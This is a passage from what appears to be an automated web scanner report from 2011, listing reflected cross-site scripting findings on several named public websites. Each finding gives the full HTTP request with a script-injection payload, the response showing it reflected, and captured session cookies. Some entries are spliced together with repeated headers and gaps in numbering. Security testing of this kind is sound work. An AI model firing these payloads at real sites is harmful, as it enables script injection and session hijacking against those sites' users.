Host:	https://cds.sun.com
Path:	/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/ViewProductDetail-Start

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/ViewProductDetail-Start?ProductRef=jdk-6u24-oth-JPR@CDS-CDS_Developer&6855a--><script>alert(1)</script>bc4102ec8a7=1 HTTP/1.1
Host: cds.sun.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:28:33 GMT
Server: Apache/2.0.59 (Unix)
Content-Length: 20208
Set-Cookie: sid=prDf2DxIwjnf2nEhKhFWJizn0QNA097gYG49cPqWI_fU2HjsA00=; path=/
Set-Cookie: pgid=yYdgaHqkkjVSR0EUPIQsoQ3D0000f9cuKriS; path=/
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: CDS_DETECT=detect; Domain=.sun.com; Path=/
Accept-Ranges: bytes
Connection: close
Content-Type: text/html;charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loo
...[SNIP]...
elimiter="&" parametername="goto" currenturl="https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/ViewProductDetail-Start?ProductRef=jdk-6u24-oth-JPR@CDS-CDS_Developer&6855a--><script>alert(1)</script>bc4102ec8a7=1&ProductUUID=pGqJ_hCwj_AAAAEtB8oADqmS&ProductID=pGqJ_hCwj_AAAAEtB8oADqmS&Origin=ViewProductDetail-Start" -->
...[SNIP]...

3.40. https://client.trafficshaping.com/signin [email parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://client.trafficshaping.com
Path:	/signin

Request

GET /signin?email=1b192"><script>alert(1)</script>32cca89645832eced&password=&action=login HTTP/1.1
Host: client.trafficshaping.com
Connection: keep-alive
Referer: http://trafficshaping.com/
Cache-Control: max-age=0
Origin: http://trafficshaping.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: csId=3922e3f116c2b714cb30cd7f3271fd2d; __switchTo5x=95; __utmz=50089699.1298824334.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MintUnique=1; MintUniqueHour=1298822400; MintUniqueDay=1298793600; MintUniqueWeek=1298793600; MintUniqueMonth=1296547200; MintAcceptsCookies=1; __utma=50089699.1488621134.1298824334.1298824334.1298824334.1; __utmc=50089699; __utmb=50089699.3.10.1298824334; MintAcceptsCookies=1; __unam=d903aed-12e67f689b8-53801d6e-4

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 16:44:48 GMT
Server: Apache/2.2.9 (Debian) PHP/5.3.3-0.dotdeb.1 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.3.3-0.dotdeb.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: csId=deleted; expires=Sat, 27-Feb-2010 16:44:47 GMT
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 4659

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>TrafficShaping - Sign into Your Account</title>
<meta name="description" conten
...[SNIP]...
<input type="text" size="30" name="email" value="1b192"><script>alert(1)</script>32cca89645832eced" />
...[SNIP]...

3.41. http://dean.edwards.name/weblog/2006/03/faster [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/faster

Remediation detail

Request

GET /weblog%0070e78<a>271d7883f11/2006/03/faster HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 23:20:07 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1644
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a>271d7883f11/">weblog%0070e78<a>271d7883f11</a>
...[SNIP]...

3.42. http://dean.edwards.name/weblog/2006/03/faster [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/faster

Remediation detail

Request

GET /weblog%00dcea7"><script>alert(1)</script>512fbcc591d/2006/03/faster HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 23:20:06 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1790
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a href="/weblog%00dcea7"><script>alert(1)</script>512fbcc591d/2006/">
...[SNIP]...

3.43. http://dean.edwards.name/weblog/2006/03/faster [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/faster

Request

GET /weblog/2006/03/fasterc01ec<a>2a3ca83c34f HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 23:20:17 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Expires: Sat, 26 Feb 2011 23:20:17 GMT
Last-Modified: Sat, 26 Feb 2011 23:20:17 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1352
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html>
<head>
<title>dean.edwards.name/weblog/</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwards
...[SNIP]...
</a>/fasterc01ec<a>2a3ca83c34f</h1>
...[SNIP]...

3.44. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dean.edwards.name
Path:	/weblog/2006/06/again/

Remediation detail

Request

GET /weblog%0078f44"><script>alert(1)</script>c42523ab52d/2006/06/again/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 23:20:49 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1790
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a href="/weblog%0078f44"><script>alert(1)</script>c42523ab52d/2006/">
...[SNIP]...

3.45. http://dean.edwards.name/weblog/2006/06/again/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://dean.edwards.name
Path:	/weblog/2006/06/again/

Severity:	High
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/d.js

Severity:	High
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/ie/v1/api/oembed

Severity:	High
Confidence:	Firm
Host:	https://shop.winamp.com
Path:	/DRHM/store

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /DRHM/store?Action=DisplayProductInterstitialDetailsPage&SiteID=winamp&Locale=en_US&ThemeID=1279300&productID=103591500&94384-->4321560c01e=1 HTTP/1.1
Host: shop.winamp.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; s_pers=%20s_getnr%3D1298828673274-New%7C1361900673274%3B%20s_nrgvo%3DNew%7C1361900673275%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daolwinamp%252Caolsvc%253D%252526pid%25253Dwna%25252520%2525253A%25252520winamp.com-forums%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.winamp.com/buy%252526ot%25253DA%3B; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000

Response

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=45, max=999
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=67280341872,0)
Date: Sun, 27 Feb 2011 17:47:17 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 14076

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
4321560c01e=1&Action=DisplayESIPage&Currency=USD&ESIHC=abd830b5&Env=BASE&Locale=en_US&SiteID=winamp&StyleID=1911800&StyleVersion=3&ThemeID=1279300&ceid=168730900&cename=TopHeader&id=ProductInterstitialDetailsPage
...[SNIP]...

3.108. https://shop.winamp.com/store [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://shop.winamp.com
Path:	/store

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /store?Action=DisplayPage&Locale=en_US&SiteID=winamp&id=QuickBuyCartPage&741fc-->4ffb80c87d5=1 HTTP/1.1
Host: shop.winamp.com
Connection: keep-alive
Referer: http://forums.winamp.com/login.php?do=login
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; s_pers=%20s_getnr%3D1298828673274-New%7C1361900673274%3B%20s_nrgvo%3DNew%7C1361900673275%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daolwinamp%252Caolsvc%253D%252526pid%25253Dwna%25252520%2525253A%25252520winamp.com-forums%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.winamp.com/buy%252526ot%25253DA%3B; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000

Response

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=45, max=999
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=114525015766,0)
Date: Sun, 27 Feb 2011 17:47:47 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 101351

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
4ffb80c87d5=1&Action=DisplayESIPage&Currency=USD&ESIHC=abd830b5&Env=BASE&Locale=en_US&SiteID=winamp&StyleID=1911700&StyleVersion=17&ThemeID=1279300&ceid=168730900&cename=TopHeader&id=QuickBuyCartPage"-->
...[SNIP]...

3.109. https://sso.springsource.com/cas/CSS/style-local.css [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://sso.springsource.com
Path:	/cas/CSS/style-local.css

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cas/CSS/style-local.css?95a9b--><script>alert(1)</script>9b4f5397ba5=1 HTTP/1.1
Host: sso.springsource.com
Connection: keep-alive
Referer: https://sso.springsource.com/cas/login
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7C9BC52425484180BE814300480016B9; SESS708c3152436f834213664fa2546e7125=uh2urvu3ima6n61ue8i3usr4c5; _mkto_trk=id:649-KCC-493&token:_mch-springsource.com-1298990705899-69442

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 15:06:37 GMT
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 6218
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>CAS &#8
...[SNIP]...
<a href="login?95a9b--><script>alert(1)</script>9b4f5397ba5=1&locale=en">
...[SNIP]...

3.110. https://sso.springsource.com/cas/login [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://sso.springsource.com
Path:	/cas/login

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /architecture/togaf8-docb5ef6--><script>alert(1)</script>8fb3022b3ea/arch/ HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=TOGAF
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:31 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 4270

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>8fb3022b3ea/arch/ -->
...[SNIP]...

3.126. http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/

Request

GET /architecture/togaf8-doc/arch3d8ea<script>alert(1)</script>c79ebfc2275/ HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=TOGAF
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:50 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 4264

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<br>
http://www.opengroup.org/architecture/togaf8-doc/arch3d8ea<script>alert(1)</script>c79ebfc2275/<br>
...[SNIP]...

3.127. http://www.opengroup.org/architecture/togaf8-doc/arch/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /architecture/togaf8-doc/archfd8d0--><script>alert(1)</script>e0d16d1920c/ HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=TOGAF
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:56 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 4270

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>e0d16d1920c/ -->
...[SNIP]...

3.128. http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Request

GET /architecture5a499<script>alert(1)</script>2eeeb0b90fa/togaf8-doc/arch/banner1.htm HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:26 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5246

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<br>
http://www.opengroup.org/architecture5a499<script>alert(1)</script>2eeeb0b90fa/togaf8-doc/arch/banner1.htm<br>
...[SNIP]...

3.129. http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /architectureb1689--><script>alert(1)</script>e2a73383cc7/togaf8-doc/arch/banner1.htm HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:29 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5255

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>e2a73383cc7/togaf8-doc/arch/banner1.htm -->
...[SNIP]...

3.130. http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Request

GET /architecture80c52"><script>alert(1)</script>f743f40b2e7/togaf8-doc/arch/banner1.htm HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:51:23 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5252

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<input type=hidden name=lost value="/architecture80c52"><script>alert(1)</script>f743f40b2e7/togaf8-doc/arch/banner1.htm">
...[SNIP]...

3.131. http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /architecture/togaf8-doc/arch/banner1.htmbd16a--><script>alert(1)</script>f6af9752da9 HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:22 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5255

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
<script>alert(1)</script>f6af9752da9 -->
...[SNIP]...

3.139. http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opengroup.org
Path:	/architecture/togaf8-doc/arch/banner1.htm

Request

GET /architecture/togaf8-doc/arch/banner1.htmb06e9"><script>alert(1)</script>c339ed24d73 HTTP/1.1
Host: www.opengroup.org
Proxy-Connection: keep-alive
Referer: http://www.opengroup.org/architecture/togaf8-doc/arch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=30649185.1298915328.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=TOGAF; __utma=30649185.357493113.1298915328.1298915328.1298915328.1; __utmc=30649185; __utmb=30649185.5.10.1298915328

Response

HTTP/1.1 404 Not Found
Date: Mon, 28 Feb 2011 17:52:17 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Content-Type: text/html
Content-Length: 5252

<html>
<head>
<title>Not found</title>
<link rel="stylesheet" href="https://www.opengroup.org/stylesheets/info1.css">
</head>
<link href="/stylesheets2/opengroup.css" rel="stylesheet" type="text/css">
...[SNIP]...
